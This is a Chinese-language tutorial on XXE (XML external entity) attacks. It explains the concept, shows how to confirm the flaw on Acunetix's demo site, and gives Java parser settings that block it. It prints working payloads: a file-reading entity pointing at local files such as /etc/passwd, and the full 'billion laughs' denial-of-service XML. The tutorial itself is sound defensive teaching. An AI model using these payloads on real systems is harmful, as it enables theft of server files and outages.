浅谈XXE攻击

一、介绍

现在越来越多主要的web程序被发现和报告存在XXE(XML External Entity attack)漏洞，比如说facebook、paypal等等。举个例子，我们扫一眼这些网站最近奖励的漏洞，充分证实了前面的说法。尽管XXE漏洞已经存在了很多年，但是它从来没有获得它应得的关注度。很多XML的解析器默认是含有XXE漏洞的，这意味着开发人员有责任确保这些程序不受此漏洞的影响。

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本文主要讨论什么是XML外部实体，这些外部实体是如何被攻击的。

二、什么是XML外部实体?

如果你了解XML，你可以把XML理解为一个用来定义数据的东东。因此，两个采用不同技术的系统可以通过XML进行通信和交换数据。比如，下图就是一个用来描述一个职工的XML文档样本，其中的’name’,’salary’,’address’ 被称为XML的元素。

有些XML文档包含system标识符定义的“实体”，这些XML文档会在DOCTYPE头部标签中呈现。这些定义的’实体’能够访问本地或者远程的内容。比如，下面的XML文档样例就包含了XML ‘实体’。

在上面的代码中， XML外部实体 ‘entityex’ 被赋予的值为：file://etc/passwd。在解析XML文档的过程中，实体’entityex’的值会被替换为URI(file://etc/passwd)内容值(也就是passwd文件的内容)。关键字’SYSTEM’会告诉XML解析器，’entityex’实体的值将从其后的URI中读取。因此，XML实体被使用的次数越多，越有帮助。

三、什么是XML外部实体攻击?

有了XML实体，关键字’SYSTEM’会令XML解析器从URI中读取内容，并允许它在XML文档中被替换。因此，攻击者可以通过实体将他自定义的值发送给应用程序，然后让应用程序去呈现。简单来说，攻击者强制XML解析器去访问攻击者指定的资源内容(可能是系统上本地文件亦或是远程系统上的文件)。比如，下面的代码将获取系统上folder/file的内容并呈献给用户。

四、怎么甄别一个XML实体攻击漏洞?

最直接的回答就是：甄别那些接受XML作为输入内容的端点。但是有时候，这些端点可能并不是那么明显(比如，一些仅使用JSON去访问服务的客户端)。在这种情况下，渗透测试人员就必须尝试不同的测试方式，比如修改HTTP的请求方法，修改Content-Type头部字段等等方法，然后看看应用程序的响应，看看程序是否解析了发送的内容，如果解析了，那么则可能有XXE攻击漏洞。

五、如何确认XXE漏洞?

出于演示的目的，我们将用到一个Acunetix维护的demo站点，这个站点就是: http://testhtml5.vulnweb.com/。这个站点可用于测试Acunetix web扫描器的功能。访问 http://testhtml5.vulnweb.com/ 站点，点击 ‘Login’下面的 ‘Forgot Password’ 链接。注意观察应用程序怎样使用XML传输数据，过程如下图所示：

请求：

响应：

观察上面的请求与响应，我们可以看到，应用程序正在解析XML内容，接受特定的输入，然后将其呈现给用户。为了测试验证XML解析器确实正在解析和执行我们自定义的XML内容，我们发送如下的请求

修改后的请求和响应：

如上图所示，我们在上面的请求中定义了一个名为myentity、值为’testing’的实体。响应报文清晰地展示了解析器已经解析了我们发送的XML实体，然后并将实体内容呈现出来了。由此，我们可以确认，这个应用程序存在XXE漏洞。

六、如何进行XXE攻击?

Code 1: 
 
     
 
    1. To read files on same server: 
 
     
 
     <?xml version="1.0" encoding="ISO-8859-1"?> 
 
     
 
     <!DOCTYPE foo [  
 
     
 
     <!ENTITY myentity SYSTEM "file:///location/anyfile" >]> 
 
     
 
     <abc>&myentity;</abc> 
 
     
 
    2. To crash the server / Cause denial of service: 
 
     
 
     <?xml version="1.0"?> 
 
     
 
     <!DOCTYPE lolz [ 
 
     
 
     <!ENTITY lol "lol"> 
 
     
 
     <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> 
 
     
 
     <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> 
 
     
 
     <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> 
 
     
 
     <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> 
 
     
 
     <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> 
 
     
 
     <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> 
 
     
 
     <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> 
 
     
 
     <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> 
 
     
 
     ]> 
 
     
 
     <lolz>&lol9;</lolz>

上面样例代码1中的XXE漏洞攻击就是著名的’billion laughs’(https://en.wikipedia.org/wiki/Billion_laughs)攻击，该攻击通过创建一项递归的 XML 定义，在内存中生成十亿个”Ha!”字符串，从而导致 DDoS 攻击。原理为：构造恶意的XML实体文件耗尽可用内存，因为许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中，解析非常慢，造成了拒绝服务器攻击。除了这些，攻击者还可以读取服务器上的敏感数据，还能通过端口扫描，获取后端系统的开放端口。

影响:

此漏洞非常危险, 因为此漏洞会造成服务器上敏感数据的泄露，和潜在的服务器拒绝服务攻击。

补救措施：

上面讨论的主要问题就是XML解析器解析了用户发送的不可信数据。然而，要去校验DTD(document type definition)中SYSTEM标识符定义的数据，并不容易，也不大可能。大部分的XML解析器默认对于XXE攻击是脆弱的。因此，最好的解决办法就是配置XML处理器去使用本地静态的DTD，不允许XML中含有任何自己声明的DTD。

比如下面的Java代码，通过设置相应的属性值为false，XML外部实体攻击就能够被阻止。因此，可将外部实体、参数实体和内联DTD 都被设置为false，从而避免基于XXE漏洞的攻击。

以下是代码的第二段

import javax.xml.parsers.DocumentBuilderFactory; 
 
     
 
    import javax.xml.parsers.ParserConfigurationException; // catching unsupported features 
 
     
 
    ... 
 
     
 
     DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); 
 
     
 
     try { 
 
     
 
     // Xerces 1 - http://xerces.apache.org/xerces-j/features.html#external-general-entities 
 
     
 
     // Xerces 2 - http://xerces.apache.org/xerces2-j/features.html#external-general-entities 
 
     
 
     String FEATURE = "http://xml.org/sax/features/external-general-entities"; 
 
     
 
     dbf.setFeature(FEATURE, false); 
 
     
 
     // Xerces 1 - http://xerces.apache.org/xerces-j/features.html#external-parameter-entities 
 
     
 
     // Xerces 2 - http://xerces.apache.org/xerces2-j/features.html#external-parameter-entities 
 
     
 
     FEATURE = "http://xml.org/sax/features/external-parameter-entities"; 
 
     
 
     dbf.setFeature(FEATURE, false); 
 
     
 
     // Xerces 2 only - http://xerces.apache.org/xerces2-j/features.html#disallow-doctype-decl 
 
     
 
     FEATURE = "http://apache.org/xml/features/disallow-doctype-decl"; 
 
     
 
     dbf.setFeature(FEATURE, true); 
 
     
 
     // remaining parser logic 
 
     
 
     ... 
 
     
 
     catch (ParserConfigurationException e) { 
 
     
 
     // This should catch a failed setFeature feature 
 
     
 
     logger.info("ParserConfigurationException was thrown. The feature '" + 
 
     
 
     FEATURE + 
 
     
 
     "' is probably not supported by your XML processor."); 
 
     
 
     ... 
 
     
 
     } 
 
     
 
     catch (SAXException e) { 
 
     
 
     // On Apache, this should be thrown when disallowing DOCTYPE 
 
     
 
     logger.warning("A DOCTYPE was passed into the XML document"); 
 
     
 
     ... 
 
     
 
     } 
 
     
 
     catch (IOException e) { 
 
     
 
     // XXE that points to a file that doesn't exist 
 
     
 
     logger.error("IOException occurred, XXE may still possible: " + e.getMessage());.. }